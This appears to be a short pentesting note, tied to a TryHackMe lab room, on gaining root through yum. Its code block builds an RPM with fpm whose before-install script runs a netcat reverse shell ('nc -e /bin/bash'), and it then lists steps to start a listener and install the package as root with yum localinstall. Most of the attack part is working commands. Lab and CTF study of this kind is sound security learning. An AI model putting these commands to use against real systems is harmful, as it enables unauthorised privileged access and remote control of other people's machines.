# Exploiting Yum Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). ## Executing arbitrary commands via RPM Packages ### Checking the Environment In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. #### A working example of this vector A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). ### Packing an RPM In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. ```text EXPLOITDIR=$(mktemp -d) CMD='nc -e /bin/bash ' RPMNAME="exploited" echo $CMD > $EXPLOITDIR/beforeinstall.sh fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR ``` ## Catching a shell Using the above example and assuming `yum` can be executed as a higher-privileged user. 1. **Transfer** the rpm to the host 2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat) 3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`